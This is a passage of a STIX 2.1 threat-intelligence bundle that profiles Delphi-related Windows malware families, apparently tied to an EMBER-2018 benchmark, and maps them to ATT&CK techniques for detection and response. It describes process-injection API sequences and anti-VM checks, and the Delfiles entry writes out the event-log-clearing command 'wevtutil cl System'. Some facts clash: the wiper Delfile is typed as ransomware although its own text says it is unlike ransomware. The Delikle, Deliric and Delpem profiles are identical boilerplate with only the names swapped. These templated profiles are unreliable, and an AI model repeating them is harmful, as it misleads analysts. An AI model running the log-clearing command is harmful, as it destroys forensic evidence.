      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a39c74e1-4da9-530c-a428-5cc8a24296e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--754f7c06-cbc9-5574-8b52-a2813d9e59c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delfidelfi",
      "description": "Trojan:Win32/Delfidelfi is a generic heuristic detection used by antivirus engines to classify a wide variety of malware that has been written or heavily packed using the **Delphi** programming language (or specifically, the Embarcadero Delphi IDE). Delphi is highly favored by malware authors in certain regions (particularly South America and Eastern Europe) for writing banking trojans, RATs, and crypters because it compiles to standalone, dependency-free executables that are easy to obfuscate.<br><br><b>Understanding the Delphi Threat Landscape</b><br>To an end-user, the infection is invisible until the payload executes. For a security analyst, a Delfidelfi detection indicates the presence of a compiled executable actively attempting to evade analysis (`T1027`). Because this is a generic detection based on the language/compiler fingerprint and suspicious API calls, the actual threat could range from a simple keylogger to a sophisticated, multi-stage banking trojan like Grandoreiro or Mekotio.<br><br><b>Execution and Evasion Mechanics</b><br>Delfidelfi-flagged malware is frequently distributed via localized phishing campaigns containing weaponized ZIP or ISO files (`T1566.001`). When the user executes the Delphi binary (`T1204.002`), it often employs massive, bloated resource sections (sometimes pushing the file size over 100MB) to break standard AV emulator sandboxes (`T1497.001`). Once executing, Delphi trojans heavily utilize API hooking and process injection (`T1055`) to intercept credentials from web browsers (`T1555.003`) and establish persistence via the Registry Run keys or Startup folders (`T1547.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the specific payload, but Delphi malware frequently targets financial credentials. Host-based IoCs include EDR alerts for newly created, unusually large executables (often disguised as PDF or Excel icons) in the user's `AppData` folder. Network IoCs often involve outbound traffic to compromised WordPress sites or cloud storage providers (Dropbox/Azure) used as C2 infrastructure. Statically analyzing the file will reveal classic Delphi compiler artifacts (e.g., strings like `PACKAGEINFO`, `TApplication`). (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delfidelfi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delfidelfi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be4f029f-b788-509d-9788-0f1a0b1c6ff0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754f7c06-cbc9-5574-8b52-a2813d9e59c3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfidelfi exhibits technique T1027 (Obfuscated Files or Information (Delphi packing/bloating))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8950c3ef-0cee-5a45-bc9b-2b3a7a638d01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754f7c06-cbc9-5574-8b52-a2813d9e59c3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfidelfi exhibits technique T1055 (Process Injection (Common in Delphi banking trojans))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c05b991d-9ea3-5276-b488-01aed3d922c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754f7c06-cbc9-5574-8b52-a2813d9e59c3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfidelfi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--642b8250-c949-58b8-a028-dfd1c88546b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754f7c06-cbc9-5574-8b52-a2813d9e59c3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfidelfi exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--61689466-1cdc-5cb5-b3d1-e2be988d0f23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delfile",
      "description": "<h3>Executive Summary</h3>\nDelfile (short for \"Delete File\") is a generic classification for a destructive Trojan whose primary function is the systematic deletion or corruption of critical system files, user data, or specific applications. Unlike ransomware, which encrypts files for extortion, Delfile variants are purely destructive (wipers). They are often deployed as a final payload by advanced threat actors to destroy forensic evidence, sabotage operations, or render the infected system completely unbootable.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDelfile variants are typically deployed post-compromise. An attacker will utilize initial access vectors (like phishing or RDP brute-forcing) to gain administrative privileges before executing the destructive payload to maximize the damage radius.\n\nUpon execution, Delfile focuses on rapid, irreversible destruction:\n<ul>\n<li><strong>Targeted Deletion:</strong> The malware is often configured to iterate through the hard drive, specifically targeting user documents (`.docx`, `.pdf`, `.xls`), database files, and backups.</li>\n<li><strong>System Sabotage:</strong> To render the system unbootable, Delfile will target the `C:\\Windows\\System32` directory, deleting critical DLLs, the Boot Configuration Data (BCD), or the Master Boot Record (MBR).</li>\n<li><strong>Anti-Recovery (Wiping):</strong> Sophisticated variants do not simply delete the file pointer; they overwrite the data blocks on the hard drive with zeroes or random garbage data (secure wiping) to prevent data recovery using forensic tools.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Delfile infection is a catastrophic security incident resulting in immediate and often irreversible data loss. It is designed to cause maximum operational downtime and sabotage, severely impacting business continuity.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Power Off (Hard Stop):</strong> If a Delfile infection is suspected (e.g., files are rapidly disappearing), immediately perform a hard power off (pull the plug) on the affected machine. Do not execute a normal shutdown, as the malware may trigger further deletion routines during the shutdown sequence.</li>\n<li><strong>Forensic Data Recovery:</strong> Do not attempt to boot the affected drive. Image the drive offline and utilize specialized forensic data recovery tools to attempt to salvage any files that were not securely overwritten.</li>\n<li><strong>Rebuild from Offline Backups:</strong> The only reliable remediation for a destructive wiper is a complete bare-metal rebuild of the system utilizing known-good, offline backups that were inaccessible to the malware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Delfile",
        "Wiper.Delfile",
        "Trojan.KillFiles",
        "Destructive.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delfile",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delfile"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--962170ab-df6b-5992-a694-af09a5a36d6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61689466-1cdc-5cb5-b3d1-e2be988d0f23",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfile exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d6831943-a05e-507c-b5a4-766a6c4a4f53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1561: Disk Wipe",
      "description": "MITRE ATT&CK Technique T1561 (Disk Wipe) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1561",
          "url": "https://attack.mitre.org/techniques/T1561/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e24d198-6943-5d18-a828-8921861fa047",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61689466-1cdc-5cb5-b3d1-e2be988d0f23",
      "target_ref": "attack-pattern--d6831943-a05e-507c-b5a4-766a6c4a4f53",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfile exhibits technique T1561 (Disk Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7796e18-f0be-5b6c-ac71-ead5b611ad38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61689466-1cdc-5cb5-b3d1-e2be988d0f23",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfile exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delfiles",
      "description": "Trojan:Win32/Delfiles is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor. Its specific moniker suggests it may also have routines designed to delete specific system files or security logs to cover its tracks.<br><br><b>Understanding Delfiles</b><br>To an end-user, a Delfiles infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Delfiles is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Delfiles is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Delfiles frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic. It may also execute commands to clear Windows Event Logs (`wevtutil cl System`) to hinder forensics.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning', particularly if followed by commands to delete files or clear logs. Network logs will often reveal Delfiles reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delfiles",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delfiles"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f8e92ff-fab4-541f-9a86-325499d54945",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfiles exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27b8f59a-3a5e-5f25-bfff-4c2c1b8bd6f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfiles exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cac6c3c6-3fff-5633-9556-68092ca71ef9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfiles exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4078db6c-37b1-5e82-9376-4ebaa75d868f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfiles exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f24904f-53ae-5e9c-9946-e33f20d7eb80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f41a8ef1-5963-56f4-a9b6-438745c25e08",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delfiles exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65fa6318-6513-542d-9ca7-b84040077811",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delfinject",
      "description": "DelfInject (cataloged across security intelligence feeds under signatures including Trojan:Win32/DelfInject, VirTool:Win32/DelfInject, and Trojan.DelfInject) is an evasive Delphi-compiled trojan loader, runtime crypter, and process injector active since 2014. Widely utilized in crimeware campaigns to distribute commodity remote access trojans (RATs) and banking malware, DelfInject encapsulates raw binary payloads inside an encrypted PE overlay or Delphi resource section. Upon launch, DelfInject performs anti-debugging and anti-VM checks (inspecting RDTSC timing, registry hardware keys, and VMware/VirtualBox drivers). It then unhooks user-mode NT APIs (ntdll.dll), allocates executable memory in legitimate target processes like svchost.exe or explorer.exe via VirtualAllocEx and WriteProcessMemory, and executes the decrypted payload using CreateRemoteThread or NtQueueApcThread. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/DelfInject",
        "VirTool:Win32/DelfInject",
        "Trojan.DelfInject",
        "Win32/DelfInject",
        "Trojan:Win32/DelfInject.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delfinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delfinject"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delikle",
      "description": "Trojan:Win32/Delikle is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Delikle</b><br>To an end-user, a Delikle infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Delikle is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Delikle is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Delikle frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Delikle reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delikle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delikle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c02a8ce6-5f1c-562a-8691-ef21bb0a12f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delikle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8464b406-9e5d-5f3d-a5ec-c7ed49ed5971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delikle exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd84c3bf-3df2-508f-b212-dc9d624cc776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delikle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--630f7bf9-9c8c-5551-b9a7-84e4a3beaefb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delikle exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae3a223c-e92c-5596-a363-bb1821e8754f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--855e5af4-fb11-5087-80c1-9882bc39ceff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delikle exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deliric",
      "description": "Trojan:Win32/Deliric is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Deliric</b><br>To an end-user, a Deliric infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Deliric is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Deliric is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Deliric frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Deliric reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deliric",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deliric"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fda03995-8697-51cc-b82b-45ec94ee402d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deliric exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4d1b6de-1d85-50c7-bd70-806e18d7e21d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deliric exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6ab3299-6033-512a-91c8-2ff43c752670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deliric exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abca6085-5ee0-5d26-8e1e-b53ef20309f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deliric exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e6ef237-cc11-5381-85f6-1df98ad81a10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9407603a-e492-5cbc-9c78-e53e26f9648a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deliric exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delpem",
      "description": "Trojan:Win32/Delpem is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Delpem</b><br>To an end-user, a Delpem infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Delpem is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Delpem is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Delpem frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Delpem reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delpem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delpem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06076271-6c62-5739-b1b3-6faea9d7f29a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delpem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
